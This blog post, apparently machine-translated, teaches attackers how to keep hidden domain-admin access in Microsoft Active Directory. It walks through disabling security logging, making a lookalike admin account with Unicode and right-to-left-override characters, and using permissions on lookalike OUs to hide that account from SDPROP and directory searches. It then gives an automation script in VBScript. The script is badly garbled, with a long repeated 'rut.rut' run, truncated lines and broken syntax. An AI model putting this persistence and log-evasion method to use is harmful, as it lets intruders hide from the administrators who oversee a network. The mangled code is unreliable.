Backdoor in Active Directory # 2

    At the beginning of last year, I already raised the topic of post-exploitation in the Microsoft Active Directory domain . The approach proposed earlier considered an option oriented more to the case of loss of administrative privileges than their direct use. At the same time, the very act of returning these privileges implied “noisy” events and visually fawn manipulations in the catalog. In other words, in order to regain administrative privileges in a domain, it was required to become a member of the corresponding security group, for example, the Domain Admins group.

    I must say that administrators are very worried when they suddenly realize the presence of someone else in their system. Some of them rush to handle the security incident with all their might. Sometimes, by the most unpredictable actions;))


    image

    Now imagine how an Active Directory administrator in a large company can behave when he sees an unfamiliar identifier in the Enterprise Admins security group? If someone is not upset, then the administrator’s concern is fully justified. But in the case of insufficient opposition during the pentest, you really should not worry very much (exactly how to deprive the guys of entry points and the privileges gained by sweat and blood).

    I thought for a long time about how, without scaring administrators, to freely use the privileges achieved during penetration testing (especially against the backdrop of aggressive opposition from administrators in recent works). On the one hand, when conducting a pentest, we are very limited in capabilities. For example, the rule to minimize the impact on the object of study is for granted. Therefore, we simply cannot spawn and scatter backdoors over the captured network. On the other hand, there are completely understandable goals that you need to reach until the moment when the joyful administrator notes unauthorized activity and pulls the cord from the outlet.

    So how can you go unnoticed on Microsoft networks?

    The first thing that comes to mind is to use an administrator account. Access is legitimate, so it should not attract special attention. But, as practice shows, it is not always possible to get the administrator password in clear text. In these cases, an attack known as Pass-the-Hash rushes to the rescue . It would be almost all wonderful (almost because Pass-the-Hash narrows the possibilities for developing an attack, for example, you cannot use the RDP remote control protocol), but in serious companies, administrators are slowly switching to smart cards, which does not allow using attacks based on on the flaws of the NTLM protocol. Good, but there is still the possibility of using an authorized user token (eq incognito ) and / or a Kerberos ticket (eqWCE ). This is certainly true, but in practice, Kerberos is not kerberos and the token is not a token :( The available tools for carrying out these types of attacks, unfortunately, openly crap. In addition, in both cases, exactly like with a Pass-the-Hash attack, . The attacking very limited used protocols that support SSO domain

    thus the most attractive way - is to use the privilege, if it does not exist, create an ID with a known domain administrator password ...

    As it does not run into a watchful eye administrations ora domain?

    Firstly, making changes to the Active Directory triggers related events that the administrator should not be aware of. Therefore, before uploading to the domain (of course, only when conducting penetration testing and after agreeing on this action with the responsible person on the customer side), it is recommended to disable the logging of security events on domain controllers through the appropriate GPO. Let me remind you that by default the background update time for group policies for domain controllers is 15 minutes.

    Secondly, no one bothers to create a visually identical account, similar to an existing domain administrator. For this, for example, Unicode characters (!) Can be used. Next, the created user is set to the “showInAdvancedViewOnly” attribute in the value “TRUE”, which will hide the object in the standard viewing mode of the “User and Computer Management” snap-in (dsa.msc). After that, it remains to place this user in one of the administrative groups, free from the real domain administrator (for example, as a rule, administrators like to stick their account into all conceivable and not conceivable administrative groups; for example, we will leave the administrator in the Enterprise Admins group , and put the clone in the group "Domain Admins").

    But I think that many of the readers have already doubted the success of the company. And they are right! This method is no good, because there are two significant drawbacks in it:
    1. The created user ID is visible in the catalog with the “armed eye”.
    2. When searching for users in a domain, the administrator account begins to double.

    How can these problems be solved?

    It would seem that the simplest solution on the surface is to correctly configure access rights to the created object (our user). For this, it is enough for the Everyone group to prohibit reading public information from the object. And in the organizational unit, next to the real Active Directory administrator, “something” will hang that at least will turn off when searching for users in the domain. However, the tale will last no more than 60 minutes :( The fact is that, by default, every 60 minutes on the domain controller that acts as a PDC emulator, the SDPROP process is launched, which restores access rights for a number of Active Directory objects (including all members of the administrator groups) in accordance with the established access rights to the AdminSDHolder object ( http://technet.microsoft.com/en-us/query/ee361593 ).

    Unfortunately, it is impossible to disable the specified security mechanism using regular capabilities. A hack with object permissions can lead to problems with replication (and here it already smells like some sort of sabotage; when pentesting it). Overwriting permissions on the “AdminSDHolder” will affect many objects, including the identifiers of all domain administrators. Thus, one of the possible useful solutions may be to run a script regularly, which will correct the errors of the “SDPROP” process, but there is also a more promising alternative.

    The SDPROP process restores access rights (ACE) only to specific privileged objects, while the access rights for the organizational units that contain such objects remain unchanged. This is just what you can use! After all, no one bothers us, using Unicode characters, to create a similar sequence of organizational units, similar to the sequence in which the cloned identifier is contained. At the same time, the “correct” access rights to the superior container will allow it to be visually hidden from prying eyes (of course, within reason).

    image

    image

    The meaning of this approach is that the Active Directory administrator should not have unhealthy suspicions about the fact that the system entrusted to him has been compromised. He remains the current administrator, except that a member of one of the privileged groups is a visually identical account ...

    And the last. In order that the created clone is not duplicated in the catalog search, you can use, for example, the symbol " 202E " (Respect to Alexander Zaitsevfor the reminder). The specified character flips the line behind it. Thus, if we, for example, create a clone for the identifier “dmitry.ivanov”, the created identifier will look like “202E” + “vonavi.yrtimd”. Perhaps this approach is not so convenient for authentication, but it saves you from getting into a directory search.

    image

    From the point of view of security logs, this approach also allows you to go unnoticed until a certain point.

    image

    Below is a script that automates all of the above. Configurable parameters:

    strAdminsamAccountName - the identifier that you want to clone with
    strAdminsGroup - the privileged group in which to put the clone
    strPassNewUser- set password for the new user

    On Error Resume Next

    strAdminsamAccountName = "dmitry.ivanov"
    strAdminsGroup = "Domain Admins"
    strPassNewUser = "P @ ssw0rd"

    '- - - Dim arrContainer (), i

    Set objRootDSE = GetObject ("LDAP: // RootDS ")
    StrDomain = objRootDSE.Get (" DefaultNamingContext ")
    Set objDomain = GetObject (" LDAP: // "& strDomain)

    strAdminsamAccountNameDN = SearchDN (" 'WHERE objectCategory =' user 'AND samAccountName =' "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount" "& strAdminsamAccount"

    If Not IsNull (strAdminsamAccountNameDN) Then

    Set objAdmin = GetObject ("LDAP: //" & strAdminsamAccountNameDN)
    Set objOU = GetObject (objAdmin.parent)

    i = 0
    Call EnumOUs (objOU)

    For j = i-1 To 0 Step -1

    if strContainer = "" Then
    strContainer = "OU =" & arrContainer (j) & strContainer
    primaryContainer = strContainer
    Else
    strContainer = "OU =" & arrContainer (j) & "," & strContainer
    End if
    Set objOUcreate = objDomain.Create ("organizationalUnit", strContainer)
    objOUcreate.SetInfo
    Next

    Set objContainer = GetObject ("LDAP: //" & strContainer & "," & strDomain)

    Set objUserCreate.j , "Cn =" & ChrW (8238) & StrReverse (objAdmin.displayName))
    objUserCreate.Put "sAMAccountName", ChrW (8238) & StrReverse (strAdminsamAccountName)
    objUserCreate.SetInfo
    On Error Resume Next

    objUserCreate.SetPassword strPassNewUser
    objUserCreate.Put "userAccountControl", 66048
    objUserCreate.Put "givenName
    ", ChrW (8238) & StrReverse (objAdmin.givenName)
    objUserCreate.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rut.rutrer. Put “initials”, ChrW (8238) & StrReverse (objAdmin.initials)
    objUserCreate.SetInfo
    On Error Resume Next

    objUserCreate.Put “showInAdvancedViewOnly”, “TRUE”
    objUserCreate.SetInfo
    On Error Resume Next

    NewUserDN = 8 ) & StrReverse (objAdmin.displayName) & "," & objContainer.distinguishedName

    strAdminsGroupDN = SearchDN ("'WHERE objectCategory =' group 'AND samAccountName ='" & strAdminsGroup & "'")

    If Not IsNull (strAdminsGroupDN) Then
    Set objGroup = GetObject ("LDAP: //" & strAdminsGroupDN)
    objGroup.PutEx 4, "member", Array (strAdminsamAccountNameDN)
    objGroup.SetInfo
    objGroup.PutEx 3, "member", Array (NewUserDN)
    objGroup.SetInfo
    End If

    O primaryContainer & "," & strDomain)

    End If

    Function SearchDN (str)
    Set objConnection = CreateObject ("ADODB.Connection")

    objConnection.Provider = "ADsDSOObject"
    objConnection.Open "Active Directory Provider"

    Set objCommand = CreateObject ("ADODB.Command ")
    Set objCommand.ActiveConnection = objConnection
    objCommand.Properties (" Searchscope ") = 2

    objCommand.CommandText =" SELECT distinguishedName FROM 'LDAP: // "& strDomain &str
    Set objRecordSet = objCommand.Execute
    If Not objRecordSet.EOF Then
    SearchDN = objRecordSet.Fields ("distinguishedName"). Value
    End if
    End Function

    Sub EnumOUs (objChild)
    Dim objParent

    Set objParent = GetObject (objChild.Parent)
    (If ) “OrganizationalUnit”) Then
    ReDim Preserve arrContainer (i + 1)
    arrContainer (i) = objChild.ou
    i = i + 1
    Call EnumOUs (objParent)
    Else
    ReDim Preserve arrContainer (i + 1)
    arrContainer (i) = objChild.ou & ChrW (128)
    i = i + 1
    End If
    End Sub

    Function OUAddAce (OU)

    Dim objSdUtil, objSD, objDACL, objAce
    Set objOU = GetObject ("LDAP: //" & OU)

    Set objSdUtil = GetObject (objOU.ADsPath)
    Set objSD = objSdUtil.Get ("ntSecurityDescriptor")
    Set objDACL = objSD.DiscretionaryACL
    Set objAce =

    Create = .Trustee «Everyone»
    objAce.AceFlags = 2
    objAce.AceType = 6
    objAce.AccessMask = 16
    objAce.Flags = 1
    objAce.ObjectType = "{} E48D0154-BCF8-11D1-8702-00C04FB96050"
    objDacl.AddAce objAce

    objSD.DiscretionaryAcl = objDacl
    objSDUtil.Put "ntSecurityDescriptor", Array (objSD)
    objSDUtil.SetInfo

    Set objNtSecurityDescriptor = objOU.Get ("ntSecurityDescriptor")
    intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
    intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
    objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
    objOU.Put «ntSecurityDescriptor», objNtSecurityDescriptor
    objOU.SetInfo

    End Function

    Also popular now: